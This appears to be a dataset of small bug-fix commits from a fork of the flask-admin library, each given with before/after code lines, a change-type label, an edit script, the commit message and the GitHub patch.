[ { "sha": "a323904749297a1e702042830b5e995483bcb21b", "filename": "flask_admin/model/filters.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/2a55cd5c7cb1d31f6c3a62309479ab07e8a56ecf/flask_admin%2Fmodel%2Ffilters.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/2a55cd5c7cb1d31f6c3a62309479ab07e8a56ecf/flask_admin%2Fmodel%2Ffilters.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fmodel%2Ffilters.py?ref=2a55cd5c7cb1d31f6c3a62309479ab07e8a56ecf", "patch": "@@ -266,7 +266,7 @@ def convert(*args):\n See :mod:`flask_admin.contrib.sqla.filters` for usage example.\n \"\"\"\n def _inner(func):\n- func._converter_for = list(map(str.lower, args))\n+ func._converter_for = list(map(lambda x: x.lower(), args))\n return func\n return _inner\n " } ]
flask-admin
7199475a1a3a5032e8eb83b888c62499a180d2a2
cfcb906d62971bed8ea5dc184d1a35af7041fb7e
flask_admin/model/base.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -585,7 +585,7 @@ class BaseModelView(BaseView, ActionsMixin): if endpoint: return super(BaseModelView, self)._get_endpoint(endpoint) - return self.__class__.__name__.lower() + return self.model.__name__.lower() # Caching
return self . __class__ . __name__ . lower ( )
return self . model . __name__ . lower ( )
CHANGE_ATTRIBUTE_USED
[["Update", ["identifier:__class__", 3, 21, 3, 30], "model"]]
zhijuebin/flask-admin@7199475a1a3a5032e8eb83b888c62499a180d2a2
Fixed backward compatibility for automatic endpoint name generation of model views
[ { "sha": "08292a644c7dfe65a2c9c963c4a0afa51eb460f7", "filename": "flask_admin/model/base.py", "status": "modified", "additions": 4, "deletions": 4, "changes": 8, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/7199475a1a3a5032e8eb83b888c62499a180d2a2/flask_admin%2Fmodel%2Fbase.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/7199475a1a3a5032e8eb83b888c62499a180d2a2/flask_admin%2Fmodel%2Fbase.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fmodel%2Fbase.py?ref=7199475a1a3a5032e8eb83b888c62499a180d2a2", "patch": "@@ -585,7 +585,7 @@ def _get_endpoint(self, endpoint):\n if endpoint:\n return super(BaseModelView, self)._get_endpoint(endpoint)\n \n- return self.__class__.__name__.lower()\n+ return self.model.__name__.lower()\n \n # Caching\n def _refresh_forms_cache(self):\n@@ -1020,7 +1020,7 @@ def _get_ruleset_missing_fields(self, ruleset, form):\n missing_fields.append(field.name)\n \n return missing_fields\n- \n+\n def _show_missing_fields_warning(self, text):\n warnings.warn(text)\n \n@@ -1202,7 +1202,7 @@ def on_model_delete(self, model):\n By default do nothing.\n \"\"\"\n pass\n- \n+\n def after_model_delete(self, model):\n \"\"\"\n Perform some actions after a model was deleted and\n@@ -1216,7 +1216,7 @@ def after_model_delete(self, model):\n :param model:\n Model that was deleted\n \"\"\"\n- pass \n+ pass\n \n def on_form_prefill (self, form, id):\n \"\"\"" } ]
flask-admin
7199475a1a3a5032e8eb83b888c62499a180d2a2
cfcb906d62971bed8ea5dc184d1a35af7041fb7e
flask_admin/model/base.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -1216,7 +1216,7 @@ class BaseModelView(BaseView, ActionsMixin): :param model: Model that was deleted """ - pass + pass def on_form_prefill (self, form, id): """
""" pass def on_form_prefill (self, form, id): """
""" pass def on_form_prefill (self, form, id): """
CHANGE_STRING_LITERAL
[["Update", ["string:\"\"\"\n pass \n \n def on_form_prefill (self, form, id):\n \"\"\"", 2, 9, 6, 12], "\"\"\"\n pass\n \n def on_form_prefill (self, form, id):\n \"\"\""]]
zhijuebin/flask-admin@7199475a1a3a5032e8eb83b888c62499a180d2a2
Fixed backward compatibility for automatic endpoint name generation of model views
[ { "sha": "08292a644c7dfe65a2c9c963c4a0afa51eb460f7", "filename": "flask_admin/model/base.py", "status": "modified", "additions": 4, "deletions": 4, "changes": 8, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/7199475a1a3a5032e8eb83b888c62499a180d2a2/flask_admin%2Fmodel%2Fbase.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/7199475a1a3a5032e8eb83b888c62499a180d2a2/flask_admin%2Fmodel%2Fbase.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fmodel%2Fbase.py?ref=7199475a1a3a5032e8eb83b888c62499a180d2a2", "patch": "@@ -585,7 +585,7 @@ def _get_endpoint(self, endpoint):\n if endpoint:\n return super(BaseModelView, self)._get_endpoint(endpoint)\n \n- return self.__class__.__name__.lower()\n+ return self.model.__name__.lower()\n \n # Caching\n def _refresh_forms_cache(self):\n@@ -1020,7 +1020,7 @@ def _get_ruleset_missing_fields(self, ruleset, form):\n missing_fields.append(field.name)\n \n return missing_fields\n- \n+\n def _show_missing_fields_warning(self, text):\n warnings.warn(text)\n \n@@ -1202,7 +1202,7 @@ def on_model_delete(self, model):\n By default do nothing.\n \"\"\"\n pass\n- \n+\n def after_model_delete(self, model):\n \"\"\"\n Perform some actions after a model was deleted and\n@@ -1216,7 +1216,7 @@ def after_model_delete(self, model):\n :param model:\n Model that was deleted\n \"\"\"\n- pass \n+ pass\n \n def on_form_prefill (self, form, id):\n \"\"\"" } ]
flask-admin
cab80d789f2b7288052e291e369a98f295181676
1161ade3158fe15b448bceb085903192ffac5cb9
flask_admin/form/upload.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -57,7 +57,7 @@ class FileUploadInput(object): if field.data and isinstance(field.data, FileStorage): value = field.data.filename else: - value = field.data + value = field.data or '' return HTMLString(template % { 'text': html_params(type='text',
value = field . data
value = field . data or ''
SINGLE_STMT
[["Insert", ["assignment", 3, 13, 3, 31], ["boolean_operator", "N0"], 2], ["Move", "N0", ["attribute", 3, 21, 3, 31], 0], ["Insert", "N0", ["or:or", "T"], 1], ["Insert", "N0", ["string:''", "T"], 2]]
zhijuebin/flask-admin@cab80d789f2b7288052e291e369a98f295181676
None is an issue ;)
[ { "sha": "c54e1069339827ad4f9325831fef7f46277f53fa", "filename": "flask_admin/form/upload.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/cab80d789f2b7288052e291e369a98f295181676/flask_admin%2Fform%2Fupload.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/cab80d789f2b7288052e291e369a98f295181676/flask_admin%2Fform%2Fupload.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fform%2Fupload.py?ref=cab80d789f2b7288052e291e369a98f295181676", "patch": "@@ -57,7 +57,7 @@ def __call__(self, field, **kwargs):\n if field.data and isinstance(field.data, FileStorage):\n value = field.data.filename\n else:\n- value = field.data\n+ value = field.data or ''\n \n return HTMLString(template % {\n 'text': html_params(type='text'," } ]
flask-admin
0463f91b576be4f93e182d34738192e3dd866385
eb30e9a201511b846c35671561f9a18dde38e8b1
flask_admin/contrib/mongoengine/form.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -71,7 +71,7 @@ class CustomModelConverter(orm.ModelConverter): kwargs.update(field_args) if field.required: - kwargs['validators'].append(validators.Required()) + kwargs['validators'].append(validators.InputRequired()) elif not isinstance(field, ListField): kwargs['validators'].append(validators.Optional())
kwargs [ 'validators' ] . append ( validators . Required ( ) )
kwargs [ 'validators' ] . append ( validators . InputRequired ( ) )
WRONG_FUNCTION_NAME
[["Update", ["identifier:Required", 3, 52, 3, 60], "InputRequired"]]
zhijuebin/flask-admin@0463f91b576be4f93e182d34738192e3dd866385
Fixed #913. Use InputRequired() instead of Required() for MongoEngine fields
[ { "sha": "e7beb74be1bca5b0fa3543d019b20c1c2be3e829", "filename": "flask_admin/contrib/mongoengine/form.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/0463f91b576be4f93e182d34738192e3dd866385/flask_admin%2Fcontrib%2Fmongoengine%2Fform.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/0463f91b576be4f93e182d34738192e3dd866385/flask_admin%2Fcontrib%2Fmongoengine%2Fform.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fcontrib%2Fmongoengine%2Fform.py?ref=0463f91b576be4f93e182d34738192e3dd866385", "patch": "@@ -71,7 +71,7 @@ def convert(self, model, field, field_args):\n kwargs.update(field_args)\n \n if field.required:\n- kwargs['validators'].append(validators.Required())\n+ kwargs['validators'].append(validators.InputRequired())\n elif not isinstance(field, ListField):\n kwargs['validators'].append(validators.Optional())\n " } ]
flask-admin
559f54c3bfcfcdc472817984eb75fc4467e9128d
5eec11e8cf4923aeefd9f42bad76415487681040
flask_admin/contrib/sqla/form.py
https://github.com/zhijuebin/flask-admin
true
false
false
@@ -288,7 +288,7 @@ class AdminModelConverter(ModelConverterBase): self._string_common(field_args=field_args, **extra) return fields.TextAreaField(**field_args) - @converts('Boolean') + @converts('Boolean', 'sqlalchemy.dialects.mssql.base.BIT') def conv_Boolean(self, field_args, **extra): return fields.BooleanField(**field_args)
@ converts ( 'Boolean' ) def conv_Boolean ( self , field_args , ** extra ) : return fields . BooleanField ( ** field_args )
@ converts ( 'Boolean' , 'sqlalchemy.dialects.mssql.base.BIT' ) def conv_Boolean ( self , field_args , ** extra ) : return fields . BooleanField ( ** field_args )
SAME_FUNCTION_MORE_ARGS
[["Insert", ["argument_list", 3, 14, 3, 25], [",:,", "T"], 2], ["Insert", ["argument_list", 3, 14, 3, 25], ["string:'sqlalchemy.dialects.mssql.base.BIT'", "T"], 3]]
zhijuebin/flask-admin@559f54c3bfcfcdc472817984eb75fc4467e9128d
Update conv_Boolean to support MSSQL BIT type
[ { "sha": "07dcb473a74bc3efc8977936c0b5500b82c7ac53", "filename": "flask_admin/contrib/sqla/form.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/559f54c3bfcfcdc472817984eb75fc4467e9128d/flask_admin%2Fcontrib%2Fsqla%2Fform.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/559f54c3bfcfcdc472817984eb75fc4467e9128d/flask_admin%2Fcontrib%2Fsqla%2Fform.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fcontrib%2Fsqla%2Fform.py?ref=559f54c3bfcfcdc472817984eb75fc4467e9128d", "patch": "@@ -288,7 +288,7 @@ def conv_Text(self, field_args, **extra):\n self._string_common(field_args=field_args, **extra)\n return fields.TextAreaField(**field_args)\n \n- @converts('Boolean')\n+ @converts('Boolean', 'sqlalchemy.dialects.mssql.base.BIT')\n def conv_Boolean(self, field_args, **extra):\n return fields.BooleanField(**field_args)\n " } ]
flask-admin
552c6c17124ddb279d3fbbf0d146389938057016
7abc775ce5329786b2ebcfaacdf486f3f43cb280
flask_admin/contrib/sqla/view.py
https://github.com/zhijuebin/flask-admin
true
false
false
@@ -147,7 +147,7 @@ class ModelView(BaseModelView): Inline model conversion class. If you need some kind of post-processing for inline forms, you can customize behavior by doing something like this:: - class MyInlineModelConverter(AdminModelConverter): + class MyInlineModelConverter(InlineModelConverter): def post_process(self, form_class, info): form_class.value = wtf.StringField('value') return form_class
class MyInlineModelConverter ( AdminModelConverter ) : def post_process ( self , form_class , info ) : form_class . value = wtf . StringField ( 'value' ) return form_class
class MyInlineModelConverter ( InlineModelConverter ) : def post_process ( self , form_class , info ) : form_class . value = wtf . StringField ( 'value' ) return form_class
CHANGE_IDENTIFIER_USED
[["Update", ["identifier:AdminModelConverter", 3, 42, 3, 61], "InlineModelConverter"]]
zhijuebin/flask-admin@552c6c17124ddb279d3fbbf0d146389938057016
Fix typo in docstring
[ { "sha": "5d977cbeadce05ce44edb020eb0194151bae0176", "filename": "flask_admin/contrib/sqla/view.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/552c6c17124ddb279d3fbbf0d146389938057016/flask_admin%2Fcontrib%2Fsqla%2Fview.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/552c6c17124ddb279d3fbbf0d146389938057016/flask_admin%2Fcontrib%2Fsqla%2Fview.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fcontrib%2Fsqla%2Fview.py?ref=552c6c17124ddb279d3fbbf0d146389938057016", "patch": "@@ -147,7 +147,7 @@ class MyAdminView(ModelView):\n Inline model conversion class. If you need some kind of post-processing for inline\n forms, you can customize behavior by doing something like this::\n \n- class MyInlineModelConverter(AdminModelConverter):\n+ class MyInlineModelConverter(InlineModelConverter):\n def post_process(self, form_class, info):\n form_class.value = wtf.StringField('value')\n return form_class" } ]
flask-admin
28be9a005f6f2b69325545f266684892de912405
a3bd004e1fcdd1ffc493e4363f1941754fd8b2dd
flask_admin/contrib/pymongo/view.py
https://github.com/zhijuebin/flask-admin
true
false
false
@@ -243,7 +243,7 @@ class ModelView(BaseModelView): if page_size is None: page_size = self.page_size - skip = None + skip = 0 if page and page_size: skip = page * page_size
skip = None
skip = 0
SINGLE_TOKEN
[["Insert", ["assignment", 3, 9, 3, 20], ["integer:0", "T"], 2], ["Delete", ["none:None", 3, 16, 3, 20]]]
zhijuebin/flask-admin@28be9a005f6f2b69325545f266684892de912405
fix default skip value for pymongo (must be int)
[ { "sha": "860e2746fe3ff41712ed638296bf037459847bde", "filename": "flask_admin/contrib/pymongo/view.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/28be9a005f6f2b69325545f266684892de912405/flask_admin%2Fcontrib%2Fpymongo%2Fview.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/28be9a005f6f2b69325545f266684892de912405/flask_admin%2Fcontrib%2Fpymongo%2Fview.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fcontrib%2Fpymongo%2Fview.py?ref=28be9a005f6f2b69325545f266684892de912405", "patch": "@@ -243,7 +243,7 @@ def get_list(self, page, sort_column, sort_desc, search, filters,\n if page_size is None:\n page_size = self.page_size\n \n- skip = None\n+ skip = 0\n \n if page and page_size:\n skip = page * page_size" } ]
flask-admin
d4100d5f80f7ba37a1dedc9b368c5f036debda5b
306e3c1837d1c84d83850d310ab40b735e0e96a5
flask_admin/tests/test_model.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -602,7 +602,7 @@ def test_export_csv(): endpoint='exportexclusion') admin.add_view(view) - rv = client.get('/admin/exportexclusion/import/csv/') + rv = client.get('/admin/exportexclusion/export/csv/') data = rv.data.decode('utf-8') eq_(rv.mimetype, 'text/csv') eq_(rv.status_code, 200)
rv = client . get ( '/admin/exportexclusion/import/csv/' )
rv = client . get ( '/admin/exportexclusion/export/csv/' )
CHANGE_STRING_LITERAL
[["Update", ["string:'/admin/exportexclusion/import/csv/'", 3, 21, 3, 57], "'/admin/exportexclusion/export/csv/'"]]
zhijuebin/flask-admin@d4100d5f80f7ba37a1dedc9b368c5f036debda5b
Fixing exclusion endpoint
[ { "sha": "d41c56c91e95b6ae84304f595c0cabbcfac204f1", "filename": "flask_admin/tests/test_model.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/d4100d5f80f7ba37a1dedc9b368c5f036debda5b/flask_admin%2Ftests%2Ftest_model.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/d4100d5f80f7ba37a1dedc9b368c5f036debda5b/flask_admin%2Ftests%2Ftest_model.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Ftests%2Ftest_model.py?ref=d4100d5f80f7ba37a1dedc9b368c5f036debda5b", "patch": "@@ -602,7 +602,7 @@ def test_export_csv():\n endpoint='exportexclusion')\n admin.add_view(view)\n \n- rv = client.get('/admin/exportexclusion/import/csv/')\n+ rv = client.get('/admin/exportexclusion/export/csv/')\n data = rv.data.decode('utf-8')\n eq_(rv.mimetype, 'text/csv')\n eq_(rv.status_code, 200)" } ]
flask-admin
1aade64c8e5b6ce6eade04c07c63751f8f65db2e
80603fdf8949bcc3cb200eb31af09b5e881f62b0
flask_admin/model/base.py
https://github.com/zhijuebin/flask-admin
true
false
false
@@ -451,7 +451,7 @@ class BaseModelView(BaseView, ActionsMixin): Example:: - from wtforms.validators import Required + from wtforms.validators import DataRequired class MyModelView(BaseModelView): form_args = dict( name=dict(label='First Name', validators=[DataRequired()])
from wtforms . validators import Required
from wtforms . validators import DataRequired
CHANGE_IDENTIFIER_USED
[["Update", ["identifier:Required", 3, 44, 3, 52], "DataRequired"]]
zhijuebin/flask-admin@1aade64c8e5b6ce6eade04c07c63751f8f65db2e
Fix comment too.
[ { "sha": "87b73bcc36497453874aabb1ca6f04e9d04c0c64", "filename": "flask_admin/model/base.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/1aade64c8e5b6ce6eade04c07c63751f8f65db2e/flask_admin%2Fmodel%2Fbase.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/1aade64c8e5b6ce6eade04c07c63751f8f65db2e/flask_admin%2Fmodel%2Fbase.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fmodel%2Fbase.py?ref=1aade64c8e5b6ce6eade04c07c63751f8f65db2e", "patch": "@@ -451,7 +451,7 @@ class MyModelView(BaseModelView):\n \n Example::\n \n- from wtforms.validators import Required\n+ from wtforms.validators import DataRequired\n class MyModelView(BaseModelView):\n form_args = dict(\n name=dict(label='First Name', validators=[DataRequired()])" } ]
flask-admin
7c9155d296169900b76f24646976825ee38851c7
3b5d929a9f8b8c715246ba7d08eab668ec5cd17c
flask_admin/contrib/appengine/view.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -101,7 +101,7 @@ class DbModelView(BaseModelView): return sorted([k for (k, v) in self.model.__dict__.iteritems() if isinstance(v, db.Property)]) def scaffold_sortable_columns(self): - return [k for (k, v) in self.model.__dict__.iteritems() if isinstance(v, db.Property) and v._indexed] + return [k for (k, v) in self.model.__dict__.iteritems() if isinstance(v, db.Property) and v.indexed] def init_search(self): return None
return [ k for ( k , v ) in self . model . __dict__ . iteritems ( ) if isinstance ( v , db . Property ) and v . _indexed ]
return [ k for ( k , v ) in self . model . __dict__ . iteritems ( ) if isinstance ( v , db . Property ) and v . indexed ]
CHANGE_ATTRIBUTE_USED
[["Update", ["identifier:_indexed", 3, 95, 3, 103], "indexed"]]
zhijuebin/flask-admin@7c9155d296169900b76f24646976825ee38851c7
Fix db.Property index check.
[ { "sha": "9243f791acebf6a97ea7bbd08c238a2987ba946c", "filename": "flask_admin/contrib/appengine/view.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/7c9155d296169900b76f24646976825ee38851c7/flask_admin%2Fcontrib%2Fappengine%2Fview.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/7c9155d296169900b76f24646976825ee38851c7/flask_admin%2Fcontrib%2Fappengine%2Fview.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fcontrib%2Fappengine%2Fview.py?ref=7c9155d296169900b76f24646976825ee38851c7", "patch": "@@ -101,7 +101,7 @@ def scaffold_list_columns(self):\n \t\treturn sorted([k for (k, v) in self.model.__dict__.iteritems() if isinstance(v, db.Property)])\n \n \tdef scaffold_sortable_columns(self):\n-\t\treturn [k for (k, v) in self.model.__dict__.iteritems() if isinstance(v, db.Property) and v._indexed]\n+\t\treturn [k for (k, v) in self.model.__dict__.iteritems() if isinstance(v, db.Property) and v.indexed]\n \n \tdef init_search(self):\n \t\treturn None" } ]
flask-admin
b8c9aa9cff1b4d0428394ad9dc66fb7ac7d6b434
29f33bb667df56482aae8e2792e31294f48840a8
flask_admin/form/upload.py
https://github.com/zhijuebin/flask-admin
true
false
false
@@ -356,7 +356,7 @@ class ImageUploadField(FileUploadField): return secure_filename('%s-thumb.jpg' % name) class MyForm(BaseForm): - upload = ImageUploadField('File', thumbgen=prefix_name) + upload = ImageUploadField('File', thumbgen=thumb_name) :param thumbnail_size: Tuple or (width, height, force) values. If not provided, thumbnail won't be created.
upload = ImageUploadField ( 'File' , thumbgen = prefix_name )
upload = ImageUploadField ( 'File' , thumbgen = thumb_name )
CHANGE_IDENTIFIER_USED
[["Update", ["identifier:prefix_name", 3, 68, 3, 79], "thumb_name"]]
zhijuebin/flask-admin@b8c9aa9cff1b4d0428394ad9dc66fb7ac7d6b434
Fix func name on docstring
[ { "sha": "61d697b20973ace2381848637069c47665f2b0c4", "filename": "flask_admin/form/upload.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/b8c9aa9cff1b4d0428394ad9dc66fb7ac7d6b434/flask_admin%2Fform%2Fupload.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/b8c9aa9cff1b4d0428394ad9dc66fb7ac7d6b434/flask_admin%2Fform%2Fupload.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fform%2Fupload.py?ref=b8c9aa9cff1b4d0428394ad9dc66fb7ac7d6b434", "patch": "@@ -356,7 +356,7 @@ def thumb_name(filename):\n return secure_filename('%s-thumb.jpg' % name)\n \n class MyForm(BaseForm):\n- upload = ImageUploadField('File', thumbgen=prefix_name)\n+ upload = ImageUploadField('File', thumbgen=thumb_name)\n \n :param thumbnail_size:\n Tuple or (width, height, force) values. If not provided, thumbnail won't be created." } ]
flask-admin
c8fdf7400e2d82d8d7d1a85b6255b9cd9d701c41
1e209b0a7c0bc10ef1bd38929b8cf409283cbeef
flask_admin/babel.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -18,7 +18,7 @@ except ImportError: return string def ngettext(self, singular, plural, n): - return singular if num == 1 else plural + return singular if n == 1 else plural else: from flask_admin import translations
return singular if num == 1 else plural
return singular if n == 1 else plural
CHANGE_IDENTIFIER_USED
[["Update", ["identifier:num", 3, 32, 3, 35], "n"]]
zhijuebin/flask-admin@c8fdf7400e2d82d8d7d1a85b6255b9cd9d701c41
Fixed typo
[ { "sha": "f2d1012d89e1c5e91ff6c5a502c7726995761b92", "filename": "flask_admin/babel.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/c8fdf7400e2d82d8d7d1a85b6255b9cd9d701c41/flask_admin%2Fbabel.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/c8fdf7400e2d82d8d7d1a85b6255b9cd9d701c41/flask_admin%2Fbabel.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fbabel.py?ref=c8fdf7400e2d82d8d7d1a85b6255b9cd9d701c41", "patch": "@@ -18,7 +18,7 @@ def gettext(self, string):\n return string\n \n def ngettext(self, singular, plural, n):\n- return singular if num == 1 else plural\n+ return singular if n == 1 else plural\n else:\n from flask_admin import translations\n " } ]